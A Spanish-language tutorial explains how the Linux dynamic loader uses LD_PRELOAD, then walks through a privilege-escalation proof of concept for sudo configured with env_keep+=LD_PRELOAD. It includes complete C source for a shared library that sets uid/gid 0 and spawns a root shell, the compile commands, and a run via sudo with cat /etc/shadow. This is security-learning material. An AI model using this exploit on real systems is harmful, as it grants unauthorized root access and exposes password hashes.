Skip to main content

Qué es LD_PRELOAD?

El cargador dinámico de Linux ld-linux busca y carga las bibliotecas compartidas que necesita un programa, prepara el programa y luego lo ejecuta. Las bibliotecas compartidas se cargan en el orden que el loader las necesite para resolver los símbolos.

LD_PRELOAD es una variable opcional que contiene una o más rutas a bibliotecas compartidas u objetos compartidos, que el loader cargará antes que cualquier otra biblioteca compartida, incluida la biblioteca en tiempo de ejecución de C (libc.so). Esto se denomina “preloading a library”.

Precargar una biblioteca significa que sus funciones se utilizarán antes que otras del mismo nombre en bibliotecas posteriores. Esto permite que las funciones de la biblioteca se intercepten y reemplacen (sobrescriban). Como resultado, el comportamiento del programa se puede modificar de forma no invasiva, es decir, no es necesaria una recompilación.

Por ejemplo, podría escribir una biblioteca que implemente malloc alternativo y funcionalidad gratuita. Al precargar la nueva biblioteca usando LD_PRELOAD, se usarán las nuevas funciones malloc y free en lugar de las funciones libc estándar correspondientes.

Las shared library paths, si hay más de una, pueden estar separadas por dos puntos (..) o espacios ( ). Las entradas en LD_PRELOAD que contienen ‘/’ se tratan como nombres de ruta, mientras que las entradas que no contienen ‘/’ se buscan como de costumbre. Obviamente, esto solo afecta a las aplicaciones enlazadas dinámicamente, no estáticamente.

Prerequisitos

Si el usuario puede ejecutar algún comando con “sudo” y la configuración contiene la siguiente línea, la posibilidad de escalada de privilegios está prácticamente garantizada.

env_keep+=LD_PRELOAD

PoC

Se genera un pequeño programa en C llamado getid0.c dentro del directorio /tmp (donde normalmente se tiene permisos de escritura)

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Se compila, generando una librería compartida con la extensión .so:

$ cc -fPIC -shared -o getid0.so getid0.c -D_GNU_SOURCE -nostartfiles

$ ls -lart getid0.so
-rwxrwxr-x 1 rootview rootview 14344 Jul 11 19:40 getid0.s

Para finalizar, se ejecuta de la siguiente forma

$ id
uid=1003(rootview) gid=1003(rootview) groups=1003(rootview)

$ sudo LD_PRELOAD=/tmp/getid0.so cat /etc/shadow

# id
uid=0(root) gid=0(root) grupos=0(root)

El contenido de este artículo esta bajo licencia Creative Commons.